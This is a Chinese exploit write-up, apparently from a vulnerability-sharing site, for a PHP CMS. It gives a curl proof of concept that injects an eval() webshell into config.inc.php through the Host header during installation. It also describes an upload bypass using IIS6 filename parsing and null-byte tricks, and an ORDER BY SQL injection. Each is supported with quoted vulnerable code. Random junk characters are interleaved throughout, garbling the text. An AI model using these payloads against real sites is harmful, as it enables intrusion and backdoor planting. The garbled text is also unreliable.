注入:
6 C8 }. e, E2 ^: w# J0 q3 n; h; b( _/ \) H5 A% I
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码! p; J! q0 [$ p. w2 T
* |! X6 F/ P+ `/ u9 ]% M
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
2 E' t) h0 O* |" e5 @) ]6 X4 H鸡肋2: 有一定安全常识的站长都会删掉 install 目录5 X( j+ t- `2 `2 `
- s! n1 p, L% m9 ^( M7 u( H" j虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响/ ?$ f5 ?1 |5 h# O' Q
1 ]; \& E3 ?( H% Y分析: s4 z3 u J9 p/ s" W2 m
" N& C) R8 g& e+ m# J& E; O) \ 8 M8 I' \) c( \# u0 E! z* S
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
5 y' s( g' x% X; V- g4 E8 W5 c , {* x+ b2 m' A) @' e2 t/ K
$filestr = fread(fopen($SysConfigFile, 'r'),30000);9 A+ r7 A. V1 b X/ d* e% {
$filestr=str_replace(" ","",$filestr);
4 Q9 ~2 o, W+ ~ $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
, c0 S. d& Y+ Q: i5 ]5 ]% \ $filestr=str_replace("DefaultDbName",$dbname,$filestr);% \% R4 L1 D9 w$ n
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);/ P/ i9 v8 O8 p, Q* R
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
3 ]/ y" j# T7 l $filestr=str_replace("DefaultsLan","zh_cn",$filestr);8 b% ?" W/ O+ i
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);! O% C8 m5 P5 t. Q
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 s6 N1 \3 A2 }0 z# j4 C+ ^! r
' |. |. ?9 l I! t! e6 Z fwrite(fopen($ConFile,"w"),$filestr,30000);" Y% P, V1 I+ v8 {/ v5 S9 c
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^3 s/ X1 Q( V1 [$ Q: q& y" v* B
4 R: O4 }$ p5 Y0 t+ Spoc:5 h4 O# }8 u2 c
- Q1 y. c8 V# h% c! z; {?( \+ ~8 }- J5 S8 p" F7 m& B
1
3 S: h6 @! a y) D" k4 Kcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"$ [" R; C. k5 U$ C* g8 D
shell地址: /config.inc.php
g2 Y3 Y' k& n5 M8 D! R跟之前的 phpcms一样 需要远程数据库) G* ~: ~( Y) N4 H+ }
! d' p/ o: l0 Q——————————————————–
; C* J+ m0 F; v! ?上传漏洞(需要进后台):
6 |% V& }/ D* u" ^2 }* X) ]! t/ p漏洞文件: /kedit/upload_cgi/upload.php: S( N2 C3 C* W, z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
+ S S9 ^/ ]. ]1 Z
# \. u0 m4 T9 Q
7 J w9 R. ^. e" i2 i; }3 `" Z* W<?php) `6 L6 E# }& _1 j2 D! s9 u
define("ROOTPATH", "../../");) x/ _) i- [5 W) H
include(ROOTPATH."includes/admin.inc.php");/ M) j9 l# ~* c& @! g: h# I7 y
NeedAuth(0);, O! T; B) e! [; V! S) L- Q
! u2 [8 m! B& v7 G8 K! H
$dt=date("Ymd",time());; L% C" P" o- ]5 T
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){# P3 u. q8 L- ?4 S. l
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);$ J1 v% Q" [9 X' a- l; g& X, u) P
}
; p6 T! l- Q, Q Z+ m 4 ~) J8 r' I: |0 i+ l
//文件保存目录路径. N& d9 X: x5 l u; x! c& R5 Y! d
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
2 l5 C- I- A5 Y$ F: u% H echo $save_path;
# r2 f6 S( y3 Y: r; q //文件保存目录URL
0 P \+ L2 n8 E $save_url = '../../'.$_POST['attachPath'].$dt.'/';1 Z b& t; } u0 H$ J( R
- [; [# T! R! U& e8 e //定义允许上传的文件扩展名& c7 q* z. N& s4 S
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
' c% c# ~' s- i5 w6 z
! b4 B. @7 V* ]& j; s& p" S: _( v# ^ //最大文件大小8 _, g: b- `! _ Q& l4 M
$max_size = 1000000;
# x! f( a6 V" F% j& e: l
6 r& }' r- C; @# \" T2 g! X5 { //更改目录权限
& m: L: c+ G; x( Z" E; ? @mkdir($save_path, 0777);
- B5 _6 r. C! W
s5 K/ Y% E. h //文件的全部路径+ |/ E3 E% }/ S7 y
$file_path = $save_path.$_POST['fileName']; //保存文件名
' l: X# @, S1 y. f' B: T& a4 e3 \! r
, b. K0 c2 R: v //文件URL \4 p o3 H* `3 J I
$file_url = $save_url.$_POST['fileName'];
* ~. _- p& Q( ^ \/ y//有上传文件时
1 R( c, W1 f# J0 ~! K2 q) X if (empty($_FILES) === false) {
! W \; q/ x8 c4 x3 f " y( L% i1 h# z3 ?# H
//原文件名2 I; b9 C; J7 L: S5 j
$file_name = $_FILES['fileData']['name'];
3 F5 _+ v8 n! \ //服务器上临时文件名" s9 p4 y9 R7 h3 l# f% b
$tmp_name = $_FILES['fileData']['tmp_name'];$ M S# @+ y% Y6 J# [8 B
//文件大小
' U9 S% L" D% m- D' t $file_size = $_FILES['fileData']['size'];/ w" f; s# a- `4 t7 | K5 @8 P
//检查目录
`6 c. r; c7 w4 m2 i- f- L6 H- l if (@is_dir($save_path) === false) {
& n4 u& T' e l r, `# h alert("上传目录不存在。");
/ Z3 L! }% F+ S9 F }
/ O% V4 K, Y) \; e8 v$ L- B6 M //检查目录写权限8 H! z: g# o3 j( H0 H' h9 H% K! Q7 W
if (@is_writable($save_path) === false) {. l7 `+ p" ^" |* I6 Q4 v' ~
alert("上传目录没有写权限。");4 L. D6 H1 ]9 @. @6 a/ n
}2 Q/ F- Y+ k% _7 s
//检查是否已上传! b% V* D& B+ s
if (@is_uploaded_file($tmp_name) === false) {* t7 L% u4 I0 S2 X+ u# p
alert("临时文件可能不是上传文件。");3 p7 ~9 S U8 r$ R5 T& J. u* [0 O
}0 E' y( _6 o4 n/ g1 ~& ]
//检查文件大小# p& g1 G) V1 C9 u% z9 V
if ($file_size > $max_size) {" h* L3 P4 P- Z( \9 k. w
alert("上传文件大小超过限制。");
1 t3 X# T O) W3 z9 |. F9 k* d% L }
. e' J7 Q7 ?6 l9 T& u- a# Z. N //获得文件扩展名( J! ]6 [4 Y" E) G n, z) C7 H
$temp_arr = explode(".", $_POST['fileName']);
+ {: `" [# t" ^/ A $file_ext = array_pop($temp_arr);
# a$ T/ M4 T, i6 k $file_ext = trim($file_ext);! y. @1 ?) D1 g' e$ Z5 ^" e; f
$file_ext = strtolower($file_ext);
3 h+ B$ R; `2 I# _1 \ ' u5 p" q7 e3 U" D' p" q
//检查扩展名
& Z9 d' X" F0 M2 M2 Q! h if (in_array($file_ext, $ext_arr) === false) {
2 W# ^9 h0 `2 _6 k' E& h& f! Z alert("上传文件扩展名是不允许的扩展名。");/ G; C1 P. w: u( [7 M7 U
}( V0 X) f( {5 i6 X3 }
. }$ y5 Z$ n/ p //移动文件 & o& t$ Q! u) t2 D8 O
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^5 Z) \5 \& ^' } c7 `
if (move_uploaded_file($tmp_name, $file_path) === false) {, J# `1 |3 I5 O$ T3 Y8 t4 b
alert("上传文件失败。");4 K5 w( i' n0 Z, M
}
~* ?4 f. y" D: K; b- n
( M% t# L/ p4 S k @chmod($file_path,0666);
6 K$ k d2 l8 q 7 F X2 P: E' X2 t+ ]+ v \
?>0 d, B& }9 e( q f9 F
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
3 C$ t. O8 a9 ^# t( S/ k# W6 m
p r) f+ ]+ @9 u1 g" kapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过" P& Q. T2 R1 U. q. c/ \) k# H$ c4 c$ b
4 ^& X! @. O6 O9 o( m
——————————————————
, Y; o% O7 Q. n n' k! b注入漏洞:
, H; |/ b0 s( i& A( H漏洞文件:search/module/search.php9 X5 Q- Y: j) r
/search/index.php?key=1&myord=1 [sqlinjection]8 v2 V8 _9 ^$ [/ q$ M" B- u# t
6 y& n4 \* F1 b8 o0 m9 p; P 0 i9 t' O+ U2 _4 t( T
<?php
8 ~. `9 J. V5 c) D! ~ // ... 省略 n 行...
5 q# J% |1 d! v- T //第18行:! h D' I. J/ A y' P6 p1 T; C
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响7 j# x/ x+ ^7 M& R& V' K
$page=htmlspecialchars($_GET["page"]);
) N6 D* x1 A' M $myord=htmlspecialchars($_GET["myord"]);( o8 f3 u2 t. z ~, X# Z
% V5 m* b: L! ~8 I4 ?
// ... 省略 n 行...
1 S# e' k d# c4 d# k1 q3 x $key,$myord 两个参数带入查询
, r# W' f8 \0 H& D7 [ //第47行 $key:& l2 k" ^8 k" P+ L& _1 M6 k
9 a, B* e5 O$ e3 i2 u: T* e
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..- q. z i) {" n# i2 J9 b2 |
0 N" q+ c1 ^- ?+ y. p //第197行 $myord
9 p( @. `: M, c8 ^) ]0 F) R; f $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入8 R+ {) ~3 V. M
5 M( b+ X$ O9 A+ z
?>" Y3 q5 ?* p6 ]. ?' j) C0 G& R
|